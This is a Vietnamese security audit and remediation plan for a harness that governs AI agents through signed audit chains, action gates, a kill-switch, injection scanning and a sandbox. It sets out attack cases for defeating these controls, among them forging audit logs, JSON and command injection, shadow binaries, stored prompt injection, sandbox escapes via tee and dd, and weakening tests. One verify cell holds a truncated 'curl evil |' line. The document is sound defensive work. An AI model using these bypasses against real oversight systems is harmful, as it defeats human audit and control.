KẾ HOẠCH 16 — Security Audit & Remediation (core harness .sh/.py)
Status 2026-07-06: 📋 audit xong — remediation chưa thực thi. Đây là kết quả
audit đối kháng toàn bộ script core harness (.specify/scripts/bash, helpers) +
kế hoạch vá cho AI/người kế tiếp thực thi. Mỗi task có: lỗi → cách vá → cách
verify (test fail-able). Bất biến: giữ 280/0 core harness; verify trong WSL
(msys + Python Windows lệch path).
Nguồn: pass-1 (4 file rủi ro cao + 8 script governance tự viết) + pass-2 (subagent
audit ~30 file còn lại). Nhãn trạng thái: xem CASAN_BACKLOG_STATUS.md.
0. Root cause hệ thống (ưu tiên cao nhất)
Toàn bộ lớp tamper-evidence (audit chain, tool-call chain, telemetry integrity,
evidence pack, worm ledger, control-plane audit) dựa trên:
- Khoá ký local tự sinh, đặt CẠNH dữ liệu nó bảo vệ (pubkey tái tạo mỗi lần chạy) →
ai ghi được log thì ký lại được.
- Hash chain SHA-256 không khoá (unkeyed) → tính lại toàn bộ được.
- Verifier coi "thiếu chữ ký =
anchor=unsigned = VALID (exit 0)" → xoá chữ ký là
qua verify.
→ Kẻ tấn công có quyền ghi file (chính actor mà thiết kế muốn phòng) sửa log +
tính lại chain + xoá chữ ký ⇒ vượt mọi verify. Cộng với JSON-injection qua
printf và bash -c trên lệnh lưu trong log chưa ký (RCE), các đảm bảo toàn
vẹn hiện bị vô hiệu bởi chính actor local.
Điều kiện thoát: neo chữ ký vào KMS/HSM ngoài (Vault Transit đã có
vault-kms.sh) + "unsigned" = FAIL ở mọi enforced mode.
1. Bảng findings (hợp nhất pass-1 + pass-2)
🔴 High
| ID |
File |
Attack case |
Fix |
| H-01 |
verify-audit-chain.sh · verify-tool-audit.sh · telemetry-integrity.sh · evidence-pack.sh |
Thiếu *.sig/pubkey ⇒ anchor=unsigned exit 0. Sửa log → tính lại chain → xoá sig → PASS |
Enforced mode: thiếu chữ ký ⇒ exit≠0; anchor=unsigned = FAIL |
| H-02 |
tool-audit-lib.sh · sign-audit-head.sh · sign-policy-bundle.sh |
Khoá private tự sinh cạnh dữ liệu, pubkey tái tạo mỗi run → ai ghi log thì ký lại |
KMS/HSM (Vault Transit); pubkey provision out-of-band; bỏ auto-gen ở prod |
| H-03 |
rollback-manager.sh |
execute chạy bash -c "$rollback_command" đọc từ log chưa ký → RCE |
Lưu restore action dạng argv có cấu trúc, không bash -c; ký + verify tx log |
| H-04 |
governance-check.sh |
CASAN_APPROVER/CASAN_ACTOR/ACTION_NAME nội suy raw qua printf vào JSON → "+newline chèn bản ghi audit giả (approval giả) |
Xuất JSON qua python json.dumps/jq; escape/validate field |
| H-05 |
action-gate.sh |
Không check RC của Python; output rỗng/crash rơi vào *) ALLOW → fail-open |
Bắt RC; mặc định DENY khi không phải ALLOW tường minh |
| H-06 |
control-plane-settings.py · governance-report.py (tự viết) |
Audit hash-chain không ký → file-writer tính lại chain → verify PASS; governance-report báo CERTIFIED giả |
Ký head qua sign-audit-head.sh/KMS; governance-report yêu cầu chữ ký hợp lệ |
🟠 Medium
| ID |
File |
Attack case |
Fix |
| M-01 |
worm-ledger.py |
Chain unsigned recomputable; json.loads không guard → malformed line crash |
Neo KMS/Object-Lock; try/except fail-closed |
| M-02 |
casan-harness.sh |
Tool-output injection scan mặc định warn; kill-switch enforce opt-in → stop khẩn = no-op mặc định |
Mặc định block ở non-dev; kill-switch enforce mặc định on |
| M-03 |
model-digest-check.sh |
current_digest() ưu tiên env CASAN_MODEL_DIGEST → tráo model + set env = qua; pin không ký |
Bỏ env override ở enforced mode; ký pin file |
| M-04 |
kill-switch.sh |
clear không cần authz; state là file rm được |
Yêu cầu approval ký để clear; state ở store được bảo vệ |
| M-05 |
tool-registry-gate.sh · agent-metrics.sh |
Authz theo env CASAN_AGENT spoof được; agent-metrics nội suy raw vào JSON |
Bind identity qua token verify; JSON qua serializer |
| M-06 |
pii-mask.py |
Thiếu rules file / rule regex hỏng → emit nội dung KHÔNG mask (fail-open) |
Fail-closed: từ chối/emit rỗng khi rules lỗi |
| M-07 |
sandbox-run.sh |
Chỉ chặn redirection >/>>; tee /etc/x, cp .. /abs, dd of= lọt |
Cách ly filesystem thật (container/ns/ro-mount) |
| M-08 |
supply-chain-gate.sh · self-improve.py · control-plane-settings.py (tự viết) |
Approval = bất kỳ chuỗi non-empty |
Verify assertion ký (nối approval-verify.sh JWT) |
| M-09 |
provider-usage-fetch.sh |
API_URL arg fetch bằng curl -f không validate scheme/host → SSRF (internal/file://) |
Allowlist scheme/host; chặn internal/link-local |
| M-10 |
security-check.sh · drift-detect.sh · context-compress.py (tự viết) |
Không cap input size → DoS; drift SequenceMatcher O(n²); non-UTF8/thiếu file → crash thay vì fail-closed |
Cap size (vd 2MB); errors="replace" + try/except → verdict block |
| M-11 |
evidence-pack-build.py |
Certify tin RC verifier do env truyền (CASAN_EP_*) → caller giả CERTIFIED (giảm nhẹ vì wrapper chạy verifier thật) |
Chạy verifier bên trong build hoặc yêu cầu output verifier có ký |
🟡 Low (rút gọn)
drift-detect coarse (chỉ char-similarity → lật phủ định lọt, không must-keep) · rai-guard classify bypass bằng obfuscation (a[at]b) · harness-preflight enforce opt-in · secrets-scan không quét git history · supply-chain-scan typosquat chỉ distance=1 · vault-kms ví dụ dùng http:// · dashboard-server no-auth + bind 0.0.0.0 env · approval-verify JWKS URL SSRF nếu set từ nguồn không tin · incident.sh fallback printf JSON · circuit-breaker parse-error reset counter · update-agent-context sed \| injection · validate-tool-input schema nông 1 tầng · tool-exec no-timeout nếu thiếu backend.
2. Kế hoạch remediation (theo ưu tiên — mỗi task có verify fail-able)
Nguyên tắc: mỗi fix phải kèm test đối kháng fail-able trong .specify/tests/,
nối ci-harness-gate.sh, giữ 280/0. Verify trong WSL.
P0 — chặn đứng "gãy" & bypass toàn vẹn
| Task |
Nội dung |
Verify (test mới/mở rộng) |
| SEC-01 |
"unsigned = FAIL" ở enforced mode cho verify-audit-chain / verify-tool-audit / telemetry-integrity / evidence-pack (thêm CASAN_VERIFY_STRICT=1) |
Xoá *.sig → verify exit≠0; tamper+recompute+xoá sig → vẫn FAIL |
| SEC-02 |
KMS-anchor cho mọi head (audit/tool/telemetry/evidence/control-plane) qua vault-kms.sh; bỏ auto-gen key local ở enforced mode |
Ký bằng KMS, verify bằng pubkey KMS; sửa log → verify FAIL |
| SEC-03 |
rollback-manager: bỏ bash -c, dùng argv có cấu trúc + verify tx log đã ký |
Append record `curl evil |
| SEC-04 |
action-gate fail-closed: bắt RC Python, mặc định DENY |
Ép classifier crash → gate DENY (fail-able) |
| SEC-05 |
JSON-safe writers: governance-check / agent-metrics / incident-fallback xuất JSON qua serializer |
Field "+newline → không có bản ghi giả thứ 2 |
| SEC-06 |
control-plane/governance-report ký head (H-06) |
Tamper store + recompute → governance-report NOT_CERTIFIED |
P1 — authz, fail-open, DoS
| Task |
Nội dung |
Verify |
| SEC-07 |
Approval thật: supply-chain-gate / self-improve / control-plane / kill-switch.clear verify JWT qua approval-verify.sh |
--approval x (chuỗi bừa) → DENY; JWT hợp lệ → cho |
| SEC-08 |
pii-mask fail-closed khi rules lỗi/regex hỏng |
Thiếu rules → refuse (không emit unmasked) |
| SEC-09 |
Cap input size + fail-closed đọc (security-check/drift-detect/context-compress) |
Input > cap → block verdict; non-UTF8 → block, không traceback |
| SEC-10 |
Identity không spoof: tool-registry-gate/agent-metrics bind token thay CASAN_AGENT env |
Spoof env → không lên quyền |
| SEC-11 |
Enforce mặc định: casan-harness tool-output-scan=block, kill-switch enforce on; harness-preflight bật mặc định ở prod profile |
Engaged kill-switch → harness refuse mặc định |
P2 — chiều sâu & làm cứng
| Task |
Nội dung |
Verify |
| SEC-12 |
drift-detect nâng cấp: must-keep invariants + cảnh báo lật phủ định + fail-closed |
Golden↔candidate lật "không" → drift FAIL dù similarity cao |
| SEC-13 |
SSRF allowlist: provider-usage-fetch / approval-verify JWKS / dashboard bind |
URL internal/file:// → reject |
| SEC-14 |
sandbox thật (container/ns/ro-mount) thay pattern-block; model-digest bỏ env override |
tee /etc/x bị chặn; tráo model + env → digest FAIL |
| SEC-15 |
Low cluster: secrets git-history, typosquat threshold, vault https, sed delimiter, validate-tool-input đệ quy, tool-exec no-timeout fail-closed |
Mỗi mục 1 test nhỏ |
2b. Điểm yếu KIẾN TRÚC / cross-cutting (ngoài per-file — nguy hiểm hơn)
Đây là các điểm yếu ở tầng mô hình tin cậy, làm vô hiệu cả những gate "đã PASS".
Kế hoạch, chưa fix.
| ID |
Điểm yếu |
Attack case |
Fix (kế hoạch) |
| ARCH-01 |
Gate & policy không được bảo vệ toàn vẹn |
Kẻ ghi được workspace sửa thẳng security-check.sh / prompt-filter.yaml / thresholds.yaml / model-digest.pin / reviewers.registry → bypass tuyệt đối (sửa gate/policy chứ không sửa input). |
Ký + verify bundle harness+policy bằng KMS ngoài; harness từ chối chạy nếu self-hash ≠ signed manifest (không dùng khoá local). |
| ARCH-02 |
Test tự tham chiếu |
Test nằm cùng repo attacker sửa được → xoá case đối kháng / hạ số check mà gate vẫn "xanh 280/0". Con số test không chứng minh gì nếu test bị làm yếu. |
Test-integrity manifest (hash + count mỗi suite) ký ngoài; CI FAIL nếu số check tụt hoặc hash đổi ngoài dự kiến. |
| ARCH-03 |
Vi phạm secure-by-default |
Hầu hết control mạnh là opt-in env: CASAN_SECURITY_STRICT, CASAN_PREFLIGHT, CASAN_KILLSWITCH_ENFORCE, CASAN_VERIFY_STRICT, digest mode. Không set = tắt. Operator lười / attacker chỉ cần không bật. |
CASAN_PROFILE=prod bật tất cả enforce mặc định; ở prod, thiếu flag ⇒ enforce (không phải permissive). |
| ARCH-04 |
Tin PATH / binary |
python/grep/sha256sum/openssl/uuidgen lấy từ PATH; shadow binary trên PATH (vd grep giả luôn trả no-match) → điều khiển verdict gate. |
Pin absolute path cho binary tối thiểu; verify tồn tại + (tùy) hash; fail-closed nếu thiếu. |
| ARCH-05 |
TOCTOU / không atomic, không lock |
control-plane-settings (load→modify→save) và audit append không khoá/không atomic → 2 run song song mất write / vỡ hash-chain; kill-switch check→act là race. |
flock + ghi atomic (tmp + rename); kill-switch kiểm ngay trước hành động trong cùng critical section. |
| ARCH-06 |
Tin đồng hồ hệ thống |
JWT exp / approval dựa system clock; skew/chỉnh clock trên host → chấp nhận approval hết hạn. |
Nguồn thời gian tin cậy (trusted timestamp) cho exp; ghi rõ giả định. |
| ARCH-07 |
DoS khuếch đại qua model |
Semantic classify timeout 180s/call × nhiều step; model bị làm treo → pipeline đứng lâu. |
Giảm timeout hợp lý + global time/cost budget cho mỗi run; hủy sớm. |
| ARCH-08 |
Telemetry poisoning → self-improve |
Log-injection (H-04/M-05) làm hỏng metrics → self-improve propose sinh đề xuất theo dữ liệu giả (dù apply cần approval). |
Chỉ đọc telemetry đã ký/toàn vẹn; đánh dấu proposal nguồn-không-tin. |
| ARCH-09 |
No-op âm thầm theo nền tảng = fail-open |
Control dựa tool vắng trên nền tảng (đã thấy msys+Python Windows lệch path làm test fail giả) → trên nền tảng thiếu tool, gate no-op âm thầm. |
check-prerequisites fail-closed: thiếu tool bắt buộc ⇒ refuse chạy, không chạy nửa vời. |
| ARCH-10 |
Tin tuần hoàn của evidence |
Evidence/governance-report chứng minh nội bộ nhất quán, không chứng minh run trung thực (inputs tự khai). |
Cần attestation/eval độc lập bên ngoài (nhiều model / bên thứ 3) cho claim mạnh. |
Remediation bổ sung (P0/P1 — plan)
| Task |
Map |
Verify |
| SEC-16 |
ARCH-01 ký+verify harness/policy bundle (KMS) |
Sửa 1 byte security-check.sh/prompt-filter.yaml → harness refuse |
| SEC-17 |
ARCH-03 CASAN_PROFILE=prod enforce-by-default toàn bộ |
prod profile: thiếu flag vẫn strict; test 1 control off→vẫn enforce |
| SEC-18 |
ARCH-02 test-integrity manifest ký + CI check count/hash |
Xoá 1 fail-able check → CI FAIL "test coverage dropped" |
| SEC-19 |
ARCH-05 flock + atomic write cho store/audit |
2 set song song → không mất write, chain còn verify |
| SEC-20 |
ARCH-04 pin binary path + prerequisites fail-closed (ARCH-09) |
Shadow grep giả / thiếu tool → refuse, không no-op |
| SEC-21 |
ARCH-07 giảm timeout + global run budget |
Model treo → hủy sớm, không đứng pipeline |
| SEC-22 |
ARCH-06/08/10 (ghi giả định + đánh dấu; attestation ngoài là P2) |
trusted-time cho exp; proposal nguồn-không-tin gắn nhãn |
2c. Lớp threat MỞ RỘNG (multi-tenant · supply-chain · second-order)
Các lớp mới ngoài per-file + kiến trúc. Kế hoạch, chưa fix.
Multi-tenant trust model
| ID |
Điểm yếu |
Attack case |
Fix (plan) |
| MT-01 |
State là file chung không phân vùng (audit/control-plane store/telemetry/kill-switch/logs global) |
Script dự án A đọc/sửa thẳng file của B → bỏ qua RBAC (RBAC chỉ gác API, không gác truy cập file) |
Phân vùng state theo tenant + quyền FS; RBAC ở cả tầng dữ liệu, không chỉ API |
| MT-02 |
Không mã hoá per-tenant |
Admin/tenant A xem audit/telemetry của B |
Mã hoá at-rest per-tenant; khoá theo tenant qua KMS |
| MT-03 |
Kill-switch/cost/quota global |
1 tenant burn budget / engage kill-switch → ảnh hưởng tất cả (noisy neighbor) |
Cost/quota/kill-switch scope theo tenant; cách ly tài nguyên |
| MT-04 |
project-registry.json chưa ký |
Tenant giả đăng ký/tráo project khác |
Ký registry; verify khi load |
Supply-chain của chính harness
| ID |
Điểm yếu |
Attack case |
Fix (plan) |
| SC-01 |
File policy/data unsigned (prompt-filter, pii-rules, redteam-vectors, model-digest.pin, reviewers.registry, thresholds) |
Sửa policy = tắt control mà không đụng code |
Ký + verify policy bundle (gộp ARCH-01) |
| SC-02 |
Binary ngoài PATH không pin/hash (grep/python/openssl/curl/jq) |
Shadow binary điều khiển verdict (gộp ARCH-04) |
Pin path + verify provenance |
| SC-03 |
Model dependency: digest env-override, không SBOM/provenance |
Tráo model + set CASAN_MODEL_DIGEST (gộp M-03) |
Bỏ env-override; model card + provenance (Plan-15) |
| SC-04 |
npm/pip deps (backend + control-plane) + prisma engine tải mạng |
Dep độc trong lớp governance → RCE |
Lockfile + npm audit/SCA trong CI; pin engine |
| SC-05 |
CI runner + .gitea/workflows editable trong repo |
Sửa workflow → "green" giả; runner image không pin |
Ký workflow/pipeline; pin runner image; tách quyền |
| SC-06 |
Base image Docker (backend/frontend/sandbox) không pin/scan |
Base image độc |
Pin digest + scan image |
| SC-07 |
Không ký commit / không provenance |
Không chứng minh AI được ai sửa gate |
Signed commits + attestation (SLSA-style) |
Second-order & lớp khác
| ID |
Điểm yếu |
Attack case |
Fix (plan) |
| X-01 |
Stored/second-order injection |
Payload trong golden-runs/redteam-corpus/traceability-map/requirement → nạp vào prompt sau (stored-XSS analog); gate chỉ quét input trực tiếp |
Quét cả file "vàng"/data nạp vào prompt bằng H4 |
| X-02 |
ANSI/terminal-escape injection vào log/dashboard |
Nội dung attacker viết lại terminal reviewer / giấu dòng audit |
Strip/escape control chars khi ghi log & render |
| X-03 |
ReDoS trên grep -E/re |
Input dựng riêng → backtracking mũ → DoS |
Cap size (SEC-09) + timeout regex + tránh pattern nguy hiểm |
| X-04 |
Symlink/path-traversal trên tham số file |
Truyền symlink làm input/output → đọc/ghi path tuỳ ý (TOCTOU) |
Resolve realpath + chặn ngoài workspace; O_NOFOLLOW |
| X-05 |
Disk-fill DoS |
Nhiều run → audit/trace append đầy đĩa → không ghi được audit → fail-open/crash |
Rotation + quota + fail-closed khi không ghi được audit |
| X-06 |
Approval replay |
JWT approval hợp lệ dùng lại trong cửa sổ exp |
Nonce một-lần + jti blacklist |
| X-07 |
Deploy provenance |
Gate xanh ở CI nhưng artifact deploy ≠ bản test |
Ký artifact liên kết tested==deployed |
Remediation bổ sung (plan)
| Task |
Map |
Verify |
| SEC-23 |
MT-01/02/03/04 phân vùng + mã hoá + scope tenant + ký registry |
Run tenant A không đọc/sửa được state B; registry giả → reject |
| SEC-24 |
SC-04/05/06 SCA + pin runner/base image + ký workflow |
Dep độc/workflow sửa → CI FAIL |
| SEC-25 |
SC-07 signed commits + attestation |
Commit không ký gate → CI cảnh báo/chặn |
| SEC-26 |
X-01 quét golden/corpus/map bằng H4 khi nạp prompt |
Payload trong golden → BLOCK |
| SEC-27 |
X-02 strip control-char khi ghi/hiển thị log |
ANSI escape trong input → log sạch |
| SEC-28 |
X-04 realpath + chặn symlink ngoài workspace |
Symlink /etc/passwd làm input → reject |
| SEC-29 |
X-05 log rotation/quota + fail-closed khi audit không ghi được |
Đĩa đầy → refuse, không fail-open |
| SEC-30 |
X-06 nonce/jti cho approval; X-07 ký artifact |
Replay JWT → DENY; artifact ≠ test → block deploy |
3. Ghi chú thực thi cho AI kế tiếp
- Môi trường verify: WSL Ubuntu (
wsl.exe -e bash -lc 'cd /mnt/d/... && ...'); Node bằng Windows Node + NODE_OPTIONS=--use-system-ca.
- Bất biến: không tụt 280/0; mỗi control mới có test đối kháng fail-able; không hardcode verdict; không bypass.
- Thứ tự đề xuất: ARCH-01/02/03 (SEC-16/17/18) là P0-class — vì chúng cho phép mọi bypass khác (sửa gate, làm yếu test, tắt enforce). Làm cùng nhóm P0 (SEC-01→06). Rồi P1 (fail-open/DoS/authz + SEC-19/20/21). Rồi P2 (chiều sâu + attestation ngoài).
- Phạm vi chưa soi (pass sau): create-new-feature.sh, setup-plan.sh, check-prerequisites.sh, casan-log.sh, model-fallback.sh, provider-cost-lookup.py, telemetry-reconcile.sh, business-kpi-report.sh, artifact-scan.sh, context-validate.sh, benign-fp-report.sh, security-gate.sh (nhóm reporting/scaffolding rủi ro thấp — chưa claim clean).
Liên quan: CASAN_PLAN_07_PRODUCTION_HARDENING.md (H4/H5/H6 + TIER 2 KMS/WORM) · CASAN_HARDENING_STATUS.md (control đã có) · vault-kms.sh (KMS anchor cho SEC-02).